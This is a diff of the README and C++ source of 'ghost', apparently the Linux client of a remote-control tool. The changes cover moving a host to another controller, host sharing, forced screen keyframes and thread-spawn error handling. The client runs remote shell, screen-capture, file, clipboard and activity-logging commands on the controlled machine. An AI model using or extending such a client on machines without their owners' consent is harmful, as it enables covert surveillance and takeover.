| 主机转移 | `common/host_transfer.h` + main.cpp | `KernelManager.cpp` | ✅ 完整(`COMMAND_ASSIGN_MASTER`,下发后立即另起一条连接,主连接重连时生效;到期自动回原主控并收掉那条连接) |
|
||||
| 主机转移 | `common/host_transfer.h` + main.cpp | `KernelManager.cpp` | ✅ 完整(`COMMAND_ASSIGN_MASTER`,**真的转移**:收包后立刻断开原主控、主连接连到新主控,旧主控上这台主机随即离线;新主控可正常远控/升级,但不能再转移或分享它;到期自动回原主控) |
|
||||
| 主机分享 | `common/host_share.h` + main.cpp | `KernelManager.cpp` / `ClientDll.cpp` | ✅ 完整(每条分享记录 fork 一个 `--share` 子进程,主连接不受影响;取消分享立即断开,重启自动恢复) |
|
||||
| 配置持久化 | `LinuxConfig` | INI 文件 | ✅ 完整 |
|
||||
| MCP 远程管理 | 复用 `SystemManager.h` / `PTYHandler.h` / `ScreenHandler.h` | 服务端 MCP | ✅ 档 1:`kill_process`、`exec_command`、`terminal_open/exec/close`、`remote_open/close/mouse/keyboard/clipboard`(服务端放开门禁,客户端协议本已实现) |
|
||||
@@ -140,6 +140,14 @@ make -j$(nproc)
|
||||
|
||||
编译成功后生成可执行文件 `ghost`。
|
||||
|
||||
默认按 Release 构建(`-O3`,链接时 `-s` 剥离符号表,产物约 2.5MB,不含调试信息)。
|
||||
需要 gdb 调试或保留 DWARF 时改用:
|
||||
|
||||
```bash
|
||||
cmake -DCMAKE_BUILD_TYPE=Debug . # -g(未优化)
|
||||
cmake -DCMAKE_BUILD_TYPE=RelWithDebInfo . # -O2 -g -DNDEBUG
|
||||
```
|
||||
|
||||
## 使用方法
|
||||
|
||||
### 基本用法
|
||||
@@ -219,21 +227,23 @@ Windows 客户端的同名命令没有摘要(走内存加载器/更新器)
|
||||
服务端选中一台主机后点「转移主机」,选目标主控和有效天数,客户端会:
|
||||
|
||||
1. 把目标写进 `~/.config/ghost/config.conf` 的 `transfer` 键(`ip:port:transport:shine:valid_to`);
|
||||
2. **立即另起一条通往新主控的连接**(与分享同一个 fork+exec 机制),新主控马上就能看到
|
||||
这台主机上线;它与老主控之间的主连接原样保留,不会断开;
|
||||
3. 下一次重连(断线重连、客户端重启)时主连接才搬到新主控,那条临时连接随之消失;
|
||||
2. **立刻断开当前主控**,主连接改连新主控——转移是把这条主连接搬走,不是另开一条。
|
||||
老主控上这台主机随即离线,`--share` 那种旁路连接在这里是不对的:新主控拿到的
|
||||
会是一条不能升级、也不真正属于它的连接;
|
||||
3. 新主控从此可以像自己的主机一样操作它:远控、文件、终端、**升级程序**都正常;
|
||||
4. 过了有效天数自动回到转移前的原主控——原地址只记在内存里(启动参数或编译期默认),
|
||||
不写回配置,所以重启后仍然有效;到期时那条临时连接一并收掉。
|
||||
不写回配置,所以重启后仍然有效;到期时按原地址重连。
|
||||
|
||||
第 2 步与 Windows 客户端现有的实际行为一致(`KernelManager.cpp` 的转移分支会贯穿到分享
|
||||
分支、额外起一个 shared 实例);差别只在到期处理:Windows 那条连接要等进程重启才消失。
|
||||
转移期间(`now <= valid_to`)客户端会拒绝两件事:**再次转移**和**分享**。前者是为了防止
|
||||
主机被 B 转到 C、到期却按 A 复原,中间那一跳成为谁也不认的孤儿;后者是因为主机此刻只
|
||||
连着新主控,新主控无权再把它分出去。两条都会回一条消息进服务端消息栏,不会静默丢弃。
|
||||
|
||||
注意事项:
|
||||
|
||||
- 目标是永久转移(天数填 0)时客户端会拒绝,避免把主机改到一个不可达的地址后无法回退;
|
||||
- 有效期内重复下发会被忽略(与 Windows 客户端一致);
|
||||
- 转移期间切换传输方式(明文 / WS / WSS)会跟随服务端下发的 `transport` 段;
|
||||
- 「取消分享」不会影响转移建立的临时连接;
|
||||
- 「取消分享」只收掉分享子进程,撤销不了转移;
|
||||
- 只想把主机要回来,直接把 `transfer` 键清空并重启客户端即可。
|
||||
|
||||
## 主机分享
|
||||
|
||||
+30
-3
@@ -556,6 +556,13 @@ public:
|
||||
}
|
||||
break;
|
||||
|
||||
case COMMAND_SCREEN_KEYFRAME_REQ:
|
||||
// Web 屏幕墙恢复/新加入者请求:下一帧强制 IDR。只置标志,
|
||||
// 编码器实例归采集线程所有(COMMAND_SCREEN_KEYFRAME_REQ 与 CMD_QUALITY_LEVEL
|
||||
// 一样在屏幕子连接的接收线程上处理)。
|
||||
m_keyframeRequested.store(true);
|
||||
break;
|
||||
|
||||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||
// 服务端设置剪贴板: [cmd:1][text:N]
|
||||
if (size > 1) {
|
||||
@@ -967,6 +974,9 @@ private:
|
||||
LinuxConfig m_config; // 配置持久化 (~/.config/ghost/config.conf)
|
||||
std::atomic<int> m_bFullScreen; // 全屏偏好(主控端下发,随 ScreenSettings 上报)
|
||||
std::atomic<int> m_bRemoteCursor; // 远程光标偏好(同上)
|
||||
// Web 端请求下一帧强制 IDR(COMMAND_SCREEN_KEYFRAME_REQ)。接收线程置位、
|
||||
// 采集线程消费:编码器实例只在采集线程里创建/销毁,接收线程不能直接碰。
|
||||
std::atomic<bool> m_keyframeRequested{false};
|
||||
|
||||
// H264 编码器
|
||||
std::unique_ptr<X264Encoder> m_h264Encoder;
|
||||
@@ -1068,6 +1078,18 @@ private:
|
||||
// 发送 H264 编码帧
|
||||
void SendH264Frame(bool forceKeyframe = false)
|
||||
{
|
||||
// 强制 IDR 请求在调用点已经 exchange 掉,只有真的把这一帧编出来才算消费成功。
|
||||
// 中途任何提前返回(抓屏失败 / 没连接 / 编码器开不起来 / 编码失败)都把它还回去,
|
||||
// 否则 Web 端要等编码器下一次自然 IDR(最长一个 GOP)才能解出画面。
|
||||
struct RearmOnFailure {
|
||||
std::atomic<bool>& flag;
|
||||
bool force;
|
||||
bool consumed;
|
||||
RearmOnFailure(std::atomic<bool>& f, bool force_)
|
||||
: flag(f), force(force_), consumed(false) {}
|
||||
~RearmOnFailure() { if (force && !consumed) flag.store(true); }
|
||||
} rearm(m_keyframeRequested, forceKeyframe);
|
||||
|
||||
if (!CaptureScreen(m_currFrame)) return;
|
||||
if (!m_client) return;
|
||||
|
||||
@@ -1096,7 +1118,7 @@ private:
|
||||
int result = m_h264Encoder->encode(
|
||||
m_currFrame.data(), 32, m_bmpHeader.biWidth * 4,
|
||||
m_bmpHeader.biWidth, m_bmpHeader.biHeight,
|
||||
&encodedData, &encodedSize, 1);
|
||||
&encodedData, &encodedSize, 1, forceKeyframe);
|
||||
|
||||
if (result != 0 || !encodedData || encodedSize == 0) {
|
||||
return;
|
||||
@@ -1117,6 +1139,7 @@ private:
|
||||
|
||||
memcpy(&packet[headerSize], encodedData, encodedSize);
|
||||
m_client->Send2Server((char*)packet.data(), packet.size());
|
||||
rearm.consumed = true;
|
||||
}
|
||||
|
||||
// 差异比较算法(支持 DIFF/RGB565/GRAY)
|
||||
@@ -1333,10 +1356,13 @@ private:
|
||||
if (algo != currentAlgo) {
|
||||
currentAlgo = algo;
|
||||
if (algo == ALGORITHM_H264) {
|
||||
// 切换到 H264,发送关键帧
|
||||
// 切换到 H264,发送关键帧;这一帧本身就是关键帧,
|
||||
// 挂起的强制 IDR 请求顺手清掉,别下一帧再打一次。
|
||||
m_keyframeRequested.store(false);
|
||||
SendH264Frame(true);
|
||||
} else {
|
||||
// 切换离开 H264,关闭编码器并发送完整帧
|
||||
m_keyframeRequested.store(false); // 关键帧请求对非 H264 无意义
|
||||
if (m_h264Encoder) {
|
||||
m_h264Encoder->close();
|
||||
m_h264Encoder.reset();
|
||||
@@ -1346,7 +1372,8 @@ private:
|
||||
} else {
|
||||
// 正常帧
|
||||
if (algo == ALGORITHM_H264) {
|
||||
SendH264Frame(false);
|
||||
// 服务端的强制 IDR 请求在这里消费:下一帧就是关键帧。
|
||||
SendH264Frame(m_keyframeRequested.exchange(false));
|
||||
} else {
|
||||
SendDiffFrame();
|
||||
}
|
||||
|
||||
+6
-1
@@ -165,12 +165,13 @@ public:
|
||||
* @param outData Output: pointer to encoded H264 data
|
||||
* @param outSize Output: size of encoded data
|
||||
* @param direction 1 = normal, -1 = vertical flip
|
||||
* @param forceKeyframe true = 本帧强制 IDR(服务端 COMMAND_SCREEN_KEYFRAME_REQ)
|
||||
* @return 0 on success, negative on error
|
||||
*/
|
||||
int encode(uint8_t* bgra, uint8_t bpp, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
uint8_t** outData, uint32_t* outSize,
|
||||
int direction = 1)
|
||||
int direction = 1, bool forceKeyframe = false)
|
||||
{
|
||||
if (!m_encoder || !m_picIn || !fn_x264_encoder_encode) {
|
||||
return -1;
|
||||
@@ -197,9 +198,13 @@ public:
|
||||
}
|
||||
|
||||
// Encode
|
||||
// Web 端新加入/恢复时服务端会发 COMMAND_SCREEN_KEYFRAME_REQ:把本帧标成 IDR,
|
||||
// 参考链立即重建,不必等 keyint_max(15 秒)后的下一个关键帧。
|
||||
m_picIn->i_type = forceKeyframe ? X264_TYPE_IDR : X264_TYPE_AUTO;
|
||||
x264_nal_t* pNal = nullptr;
|
||||
int iNal = 0;
|
||||
int encodeSize = fn_x264_encoder_encode(m_encoder, &pNal, &iNal, m_picIn, m_picOut);
|
||||
m_picIn->i_type = X264_TYPE_AUTO; // 只对这一帧有效
|
||||
|
||||
if (encodeSize < 0) {
|
||||
return -4;
|
||||
|
||||
+108
-131
@@ -9,6 +9,7 @@
|
||||
#include <string.h>
|
||||
#include <termios.h>
|
||||
#include <thread>
|
||||
#include <system_error> // std::system_error:SpawnSubConnWorker 捕获线程创建失败
|
||||
#include <fcntl.h>
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
@@ -52,15 +53,10 @@
|
||||
|
||||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
||||
static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength);
|
||||
// 主机分享/转移的子进程管理(实现在进程辅助函数之后,DataProcess/main 里都要用)
|
||||
// 分享子进程与转移子进程都走同一套 fork+exec 管理,只是归属不同:
|
||||
// KIND_SHARE 「取消分享」只停这些
|
||||
// KIND_TRANSFER 转移到期时停这些(提前建立的那条连接)
|
||||
// KIND_ALL 主实例退出时全停
|
||||
enum ManagedKind { KIND_SHARE, KIND_TRANSFER, KIND_ALL };
|
||||
// 主机分享的子进程管理(实现在进程辅助函数之后,DataProcess/main 里都要用)。
|
||||
// 转移不在这里:转移是主连接自己换地址(见下面的 g_needReconnect),不起子进程。
|
||||
static bool StartShareInstance(const std::string& entry);
|
||||
static bool StartTransferInstance(const std::string& entry);
|
||||
static void StopChildren(ManagedKind kind);
|
||||
static void StopChildren();
|
||||
static void StartShareInstancesFromConfig();
|
||||
|
||||
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||||
@@ -75,8 +71,9 @@ static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重
|
||||
static std::atomic<bool> g_needReconnect(false);
|
||||
|
||||
// ============== 主机转移(COMMAND_ASSIGN_MASTER)==============
|
||||
// 服务端「转移主机」把目标写进 config.conf 的 transfer 键,之后每次重连都连新主控;
|
||||
// valid_to 到期后恢复本进程启动时的原主控。原主控只存在内存里(argv 或编译期默认),
|
||||
// 转移 = 主连接真的搬到新主控:收包后立刻断开当前主控、连到目标,旧主控上这台主机
|
||||
// 随即离线。目标写进 config.conf 的 transfer 键,之后每次重连都连新主控;valid_to
|
||||
// 到期后恢复本进程启动时的原主控。原主控只存在内存里(argv 或编译期默认),
|
||||
// 不能写回配置——恢复时读到的若还是转移目标,就成了原地打转。
|
||||
// 解析/编解码/地址应用在 common/host_transfer.h(macOS 客户端可直接复用)。
|
||||
static HostTransfer::Endpoint g_transferOrig; // 启动时的主控,过期恢复用
|
||||
@@ -95,14 +92,11 @@ static bool g_bShareInstance = false; // 本进程是分享子
|
||||
static std::mutex g_shareMu; // 保护 g_shareProcs
|
||||
// 子进程 pid 和它启动时用的那条记录:判断「同一条分享」只能比这条记录,不能比配置
|
||||
// 里的——命令处理是先写配置再起进程,配置里已经是新记录了。
|
||||
// transfer=true 表示这是「转移主机」立即建立的那条连接(见 StartTransferInstance),
|
||||
// 它不进 share_list、不受「取消分享」影响。
|
||||
struct ShareProc {
|
||||
pid_t pid;
|
||||
std::string entry;
|
||||
bool transfer;
|
||||
};
|
||||
static std::map<std::string, ShareProc> g_shareProcs; // "ip:port" / "transfer:ip:port" -> 子进程
|
||||
static std::map<std::string, ShareProc> g_shareProcs; // "ip:port" -> 子进程
|
||||
// 分享条目上限:每条都对应一个常驻子进程,服务端误发/恶意刷下发不能把进程表打爆。
|
||||
static const size_t kMaxShareEntries = 16;
|
||||
static std::atomic<bool> g_shareReaperStop(false);
|
||||
@@ -573,8 +567,8 @@ static void InitTransferState()
|
||||
}
|
||||
|
||||
// 把接收线程记下的目标应用到全局连接参数。只在主线程调用:CONNECT_ADDRESS 没有
|
||||
// 跨线程同步,ConnectServer 读的就是它。只改地址、不主动断开——与 Windows 一致,
|
||||
// 下一次重连才生效。
|
||||
// 跨线程同步,ConnectServer 读的就是它。收包时已经置了 g_needReconnect,心跳循环
|
||||
// 会立刻断开重连,所以这里的地址在下一秒就生效——不是「等下次自然重连」。
|
||||
static void ApplyPendingTransfer()
|
||||
{
|
||||
if (!g_transferPending.load(std::memory_order_acquire))
|
||||
@@ -587,7 +581,7 @@ static void ApplyPendingTransfer()
|
||||
}
|
||||
HostTransfer::ApplyTarget(g_SETTINGS, t);
|
||||
long long left = t.validTo - (long long)time(nullptr);
|
||||
Mprintf(">>> Transfer armed: next reconnect -> %s:%d (transport=%d), %llds left\n",
|
||||
Mprintf(">>> Transfer applied: -> %s:%d (transport=%d), %llds left\n",
|
||||
t.ep.ip.c_str(), t.ep.port, t.ep.transport, left);
|
||||
}
|
||||
|
||||
@@ -605,8 +599,6 @@ static void CheckTransferExpiry()
|
||||
g_needReconnect.store(true, std::memory_order_relaxed);
|
||||
Mprintf(">>> Transfer expired: restoring %s:%d\n",
|
||||
g_transferOrig.ip.c_str(), g_transferOrig.port);
|
||||
// 转移时提前建立的那条连接也要收掉,否则过期后主机仍挂在新主控上。
|
||||
StopChildren(KIND_TRANSFER);
|
||||
}
|
||||
|
||||
// ============== 历史活动(COMMAND_QUERY_ACTIVITY → TOKEN_REPORT_ACTIVITY) ==============
|
||||
@@ -647,6 +639,26 @@ static void ActivityReportThread()
|
||||
g_activityReportsInFlight.fetch_sub(1, std::memory_order_relaxed);
|
||||
}
|
||||
|
||||
// 子连接 worker 的唯一启动点(与 macos/main.mm 的 SpawnSubConnWorker 同语义)。
|
||||
// 线程创建失败(RLIMIT_NPROC 到顶时 pthread_create 返回 EAGAIN/EPERM,std::thread
|
||||
// 构造抛 std::system_error)必须在这里接住:否则异常穿过 DataProcess 落到
|
||||
// OnServerReceiving 的 catch(...),日志里只剩一行笼统的
|
||||
// "[ERROR] OnServerReceiving catch an error",同一批 recv 里的其它完整包也会被丢弃。
|
||||
// 表现是「点了终端/桌面/文件毫无反应,连收到命令的日志都没有」。
|
||||
static void SpawnSubConnWorker(const char* name, void* (*entry)(void*))
|
||||
{
|
||||
Mprintf("** Received '%s' command, spawning worker ***\n", name);
|
||||
try {
|
||||
std::thread(entry, nullptr).detach();
|
||||
} catch (const std::system_error& e) {
|
||||
// pthread_create 的返回值被 libc++/libstdc++ 直接包进 error_code,errno 不可信
|
||||
Mprintf("*** spawn '%s' worker FAILED: %s (code=%d) ***\n",
|
||||
name, e.what(), e.code().value());
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("*** spawn '%s' worker FAILED: %s ***\n", name, e.what());
|
||||
}
|
||||
}
|
||||
|
||||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (szBuffer == nullptr || ulLength == 0)
|
||||
@@ -662,22 +674,17 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
} else if (szBuffer[0] == COMMAND_SHELL) {
|
||||
std::thread(ShellworkingThread, nullptr).detach();
|
||||
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
||||
SpawnSubConnWorker("SHELL", ShellworkingThread);
|
||||
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
|
||||
std::thread(ScreenworkingThread, nullptr).detach();
|
||||
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
|
||||
SpawnSubConnWorker("SCREEN_SPY", ScreenworkingThread);
|
||||
} else if (szBuffer[0] == COMMAND_SYSTEM) {
|
||||
std::thread(SystemManagerThread, nullptr).detach();
|
||||
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
|
||||
SpawnSubConnWorker("SYSTEM", SystemManagerThread);
|
||||
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
|
||||
std::thread(FileManagerThread, nullptr).detach();
|
||||
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
|
||||
SpawnSubConnWorker("LIST_DRIVE", FileManagerThread);
|
||||
} else if (szBuffer[0] == COMMAND_QUERY_LOG) {
|
||||
// 与 Windows 端一致:回日志必须开子连接。服务端取走首包后 CancelIO 关的是
|
||||
// 子连接;若回在主连接上,被关掉的就是主连接本身。
|
||||
std::thread(ClientLogThread, nullptr).detach();
|
||||
Mprintf("** [%p] Received 'QUERY_LOG' command ***\n", user);
|
||||
SpawnSubConnWorker("QUERY_LOG", ClientLogThread);
|
||||
} else if (szBuffer[0] == COMMAND_QUERY_ACTIVITY) {
|
||||
// 历史活动:主连接一次性快照(无子连接),有桌面走窗口采样,无桌面走登录+命令记录。
|
||||
// 已经有报表在飞就丢掉这一次(服务端每主机单飞行,连点也只是重复请求)
|
||||
@@ -710,14 +717,22 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
Mprintf("** Screen preview thread failed: %s ***\n", e.what());
|
||||
}
|
||||
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
|
||||
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
|
||||
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
||||
// 必须同时认短包:完整结构是 1024 字节,但老服务端 / Go 服务端只回
|
||||
// HeartbeatACK_OldSize(32)。长度不足就当「没收到」会让下面的 ACK 看门狗
|
||||
// 每 60s 断开重连一次(表现为链路一直在抖、主连接端口不断变化)。
|
||||
// Windows 端同样按 min(ulLength, 32) 兼容,见 KernelManager.cpp:2413。
|
||||
if (ulLength >= 1 + HeartbeatACK_OldSize) {
|
||||
HeartbeatACK ack = {}; // 短包时缺的字段保持 0(Authorization / ProcessingMs 等)
|
||||
const size_t copyLen = (ulLength - 1 >= sizeof(HeartbeatACK))
|
||||
? sizeof(HeartbeatACK)
|
||||
: (size_t)(ulLength - 1);
|
||||
memcpy(&ack, szBuffer + 1, copyLen);
|
||||
uint64_t now = GetUnixMs();
|
||||
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed); // 喂应用层 ACK 看门狗
|
||||
int64_t total_rtt_ms = (int64_t)now - (int64_t)ack->Time;
|
||||
int64_t total_rtt_ms = (int64_t)now - (int64_t)ack.Time;
|
||||
int64_t rtt_ms = total_rtt_ms;
|
||||
if (ack->ProcessingMs > 0 && (int64_t)ack->ProcessingMs < total_rtt_ms)
|
||||
rtt_ms = total_rtt_ms - (int64_t)ack->ProcessingMs;
|
||||
if (ack.ProcessingMs > 0 && (int64_t)ack.ProcessingMs < total_rtt_ms)
|
||||
rtt_ms = total_rtt_ms - (int64_t)ack.ProcessingMs;
|
||||
g_rttEstimator.update_from_sample((double)rtt_ms);
|
||||
// 心跳节奏太密日志会刷屏;最多 60s 一行
|
||||
static time_t lastAckLog = 0;
|
||||
@@ -837,6 +852,14 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
Mprintf("** [%p] SHARE ignored: running as share instance ***\n", user);
|
||||
return TRUE;
|
||||
}
|
||||
// 转移期间不接受分享:主机此刻只连着新主控,新主控无权再把它分出去。
|
||||
// 放行的话,到期按原主控复原后这条分享连接还挂在别处,等于凭空多出
|
||||
// 一条谁也不认的链路。
|
||||
if ((long long)time(nullptr) <= g_transferValidTo.load(std::memory_order_relaxed)) {
|
||||
Mprintf("** [%p] SHARE ignored: host is transferred until %lld ***\n",
|
||||
user, g_transferValidTo.load(std::memory_order_relaxed));
|
||||
return TRUE;
|
||||
}
|
||||
HostShare::Endpoint ep;
|
||||
if (!HostShare::ParseCommand(szBuffer, ulLength, ep)) {
|
||||
Mprintf("** [%p] SHARE: malformed payload, ignored ***\n", user);
|
||||
@@ -874,10 +897,19 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
// 有效期内重复下发忽略(与 Windows KernelManager 的 now <= valid_to 判断一致)。
|
||||
// 用原子变量而不是再读一次配置:状态以本进程为准,避免和主线程的写入交错。
|
||||
// 这条同时挡住了「转移目标主控再转一手」:主机被转移到 B 之后只连着 B,B 发来的
|
||||
// 转移命令一律落在这里被丢掉——只有原主控(主机复原后才连回去的那一台)还有
|
||||
// 机会发起下一次转移。不这么挡的话,B 把主机转到 C,到期却按原主控复原,
|
||||
// 中间那一跳就成了谁也不认的孤儿。
|
||||
long long active = g_transferValidTo.load(std::memory_order_relaxed);
|
||||
if (now <= active) {
|
||||
Mprintf("** [%p] ASSIGN to %s:%d ignored: already assigned until %lld ***\n",
|
||||
user, t.ep.ip.c_str(), t.ep.port, active);
|
||||
// 主控那边点完看不到任何反馈会以为下发丢了,回一条消息进消息栏。
|
||||
if (g_pMainClient && g_pMainClient->IsConnected()) {
|
||||
ClientMsg msg("Transfer host", "Host is already transferred, ignored");
|
||||
g_pMainClient->Send2Server((char*)&msg, sizeof(msg));
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
{
|
||||
@@ -889,17 +921,18 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
g_transferValidTo.store(t.validTo, std::memory_order_relaxed);
|
||||
LinuxConfig cfg;
|
||||
cfg.SetStr("transfer", HostTransfer::EncodeRecord(t));
|
||||
// 立即再起一条通往新主控的连接,新主控马上就能看到这台主机上线;本实例与老主控
|
||||
// 的主连接原样保留,下次重连(含重启)才轮到主连接过去。这与 Windows 客户端
|
||||
// 现有语义一致:KernelManager 的转移分支末尾没有 break,会贯穿到分享分支,
|
||||
// 额外起一个 shared 实例连到同一个目标地址。
|
||||
Mprintf("** [%p] ASSIGN to %s:%d for %llds, main link moves on next reconnect ***\n",
|
||||
// 真转移:断掉当前主控,主连接立刻连到新主控,旧主控上这台主机随即离线。
|
||||
// 不能另起一条临时连接——那只是「分享」,新主控拿到的是一条不能升级、
|
||||
// 也不真正属于它的旁路连接(升级命令按设计只认主连接)。
|
||||
// 目标由主线程的 ApplyPendingTransfer 落到 g_SETTINGS,本标志让它马上重连。
|
||||
g_needReconnect.store(true, std::memory_order_relaxed);
|
||||
Mprintf("** [%p] ASSIGN to %s:%d for %llds, moving the main link now ***\n",
|
||||
user, t.ep.ip.c_str(), t.ep.port, t.validTo - now);
|
||||
StartTransferInstance(HostShare::EncodeEntry(t.ep)); // 新主控立即看到上线
|
||||
} else if (szBuffer[0] == COMMAND_SHARE_CANCEL) {
|
||||
// 「取消分享」:清掉持久化列表并立刻收掉分享子进程。Windows 那边是同一进程里
|
||||
// 的线程,取消只改配置、下次启动才生效;Linux 的分享实例本来就是独立进程,
|
||||
// 可以立即断开。
|
||||
// 「取消分享」:清掉持久化列表并立刻收掉分享子进程。Windows 客户端在
|
||||
// COMMAND_SHARE_CANCEL 里也改成停掉同进程的分享线程(StopSharedInstances),
|
||||
// 两端都是立即断开;Linux 的分享实例是独立进程,直接 stop。转移不涉及子进程,
|
||||
// 取消分享自然也撤销不了转移。
|
||||
if (g_bShareInstance) {
|
||||
Mprintf("** [%p] SHARE_CANCEL ignored: running as share instance ***\n", user);
|
||||
return TRUE;
|
||||
@@ -907,7 +940,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
LinuxConfig cfg;
|
||||
cfg.SetStr("share_list", "");
|
||||
Mprintf("** [%p] SHARE_CANCEL: stopping all share instances ***\n", user);
|
||||
StopChildren(KIND_SHARE);
|
||||
StopChildren();
|
||||
} else if (szBuffer[0] == COMMAND_UPDATE) {
|
||||
// 服务端"升级程序"菜单下发新版本 ELF。
|
||||
// 分享实例不升级:二进制是主实例和所有分享实例共用的,好几个进程同时替换
|
||||
@@ -1291,15 +1324,14 @@ static void ShareReaperLoop()
|
||||
int st = 0;
|
||||
pid_t r = waitpid(it->second.pid, &st, WNOHANG);
|
||||
if (r == it->second.pid) {
|
||||
const char* kind = it->second.transfer ? "Transfer instance" : "Share instance";
|
||||
if (WIFEXITED(st))
|
||||
Mprintf(">>> %s %s exited (code %d)\n",
|
||||
kind, it->first.c_str(), WEXITSTATUS(st));
|
||||
Mprintf(">>> Share instance %s exited (code %d)\n",
|
||||
it->first.c_str(), WEXITSTATUS(st));
|
||||
else if (WIFSIGNALED(st))
|
||||
Mprintf(">>> %s %s exited by signal %d\n",
|
||||
kind, it->first.c_str(), WTERMSIG(st));
|
||||
Mprintf(">>> Share instance %s exited by signal %d\n",
|
||||
it->first.c_str(), WTERMSIG(st));
|
||||
else
|
||||
Mprintf(">>> %s %s exited\n", kind, it->first.c_str());
|
||||
Mprintf(">>> Share instance %s exited\n", it->first.c_str());
|
||||
it = g_shareProcs.erase(it);
|
||||
} else if (r < 0 && errno == ECHILD) {
|
||||
it = g_shareProcs.erase(it); // 已被别处收走(防御)
|
||||
@@ -1396,9 +1428,8 @@ static void TerminateChildLocked(pid_t pid)
|
||||
Mprintf(">>> Child pid %d still alive after SIGKILL, giving up on it\n", (int)pid);
|
||||
}
|
||||
|
||||
// 起一个受管子进程并登记。key 在本进程内唯一:分享用 "ip:port",转移用 "transfer:ip:port",
|
||||
// 这样转移目标与分享目标相同也不会互相顶掉。
|
||||
static bool SpawnManagedChild(const std::string& key, const std::string& entry, bool transfer)
|
||||
// 起一个受管子进程并登记。key 是目标主控 "ip:port"。
|
||||
static bool SpawnManagedChild(const std::string& key, const std::string& entry)
|
||||
{
|
||||
EnsureShareReaper();
|
||||
|
||||
@@ -1423,9 +1454,8 @@ static bool SpawnManagedChild(const std::string& key, const std::string& entry,
|
||||
pid_t pid = SpawnShareProcess(entry);
|
||||
if (pid <= 0)
|
||||
return false;
|
||||
g_shareProcs[key] = ShareProc{ pid, entry, transfer };
|
||||
Mprintf(">>> %s instance started: %s (pid %d)\n",
|
||||
transfer ? "Transfer" : "Share", entry.c_str(), (int)pid);
|
||||
g_shareProcs[key] = ShareProc{ pid, entry };
|
||||
Mprintf(">>> Share instance started: %s (pid %d)\n", entry.c_str(), (int)pid);
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -1435,61 +1465,19 @@ static bool StartShareInstance(const std::string& entry)
|
||||
if (!HostShare::DecodeEntry(entry, ep))
|
||||
return false;
|
||||
const std::string shareKey = HostShare::MasterKey(ep);
|
||||
{
|
||||
// 同一主控上已有一条「转移」临时连接:分享是长期连接,接管它的职责。
|
||||
// 不收掉的话,这个主控上会挂着同一 clientID 的两条连接,互踢。
|
||||
const std::string transferKey = "transfer:" + shareKey;
|
||||
std::lock_guard<std::mutex> lk(g_shareMu);
|
||||
auto it = g_shareProcs.find(transferKey);
|
||||
if (it != g_shareProcs.end()) {
|
||||
Mprintf(">>> Share to %s replaces the transfer instance (pid %d)\n",
|
||||
shareKey.c_str(), (int)it->second.pid);
|
||||
TerminateChildLocked(it->second.pid);
|
||||
g_shareProcs.erase(it);
|
||||
}
|
||||
}
|
||||
return SpawnManagedChild(shareKey, entry, false);
|
||||
return SpawnManagedChild(shareKey, entry);
|
||||
}
|
||||
|
||||
// 「转移主机」立即生效的那条连接:不进 share_list(重启后由主连接自己过去),
|
||||
// 也不受「取消分享」影响;目标可以暂时不可达,子进程有自己的重连循环。
|
||||
static bool StartTransferInstance(const std::string& entry)
|
||||
{
|
||||
HostShare::Endpoint ep;
|
||||
if (!HostShare::DecodeEntry(entry, ep))
|
||||
return false;
|
||||
const std::string shareKey = HostShare::MasterKey(ep);
|
||||
{
|
||||
// 同一个主控已经有分享连接时不必再起一条:目标那边已经能看到这台主机,
|
||||
// 两条同 clientID 的连接只会互相踢。
|
||||
std::lock_guard<std::mutex> lk(g_shareMu);
|
||||
auto it = g_shareProcs.find(shareKey);
|
||||
if (it != g_shareProcs.end() && !it->second.transfer
|
||||
&& ChildAliveLocked(it->second.pid)) {
|
||||
Mprintf(">>> Transfer target %s already reachable via share instance "
|
||||
"(pid %d), extra connection skipped\n",
|
||||
shareKey.c_str(), (int)it->second.pid);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return SpawnManagedChild("transfer:" + shareKey, entry, true);
|
||||
}
|
||||
|
||||
// 停掉指定归属的子进程:SIGTERM 让子进程走自己的 signal handler 正常退出,
|
||||
// 3 秒还不走就 SIGKILL(再等 1 秒)。
|
||||
// 停掉所有子进程(分享实例;转移已不产生子进程):SIGTERM 让子进程走自己的
|
||||
// signal handler 正常退出,3 秒还不走就 SIGKILL(再等 1 秒)。
|
||||
// 等待阶段不持 g_shareMu:调用点就在接收线程上,持锁睡会把 reaper 和其它起停一起堵住。
|
||||
static void StopChildren(ManagedKind kind)
|
||||
static void StopChildren()
|
||||
{
|
||||
auto match = [kind](const ShareProc& p) {
|
||||
return kind == KIND_ALL || p.transfer == (kind == KIND_TRANSFER);
|
||||
};
|
||||
|
||||
std::vector<pid_t> pids;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_shareMu);
|
||||
for (auto& kv : g_shareProcs)
|
||||
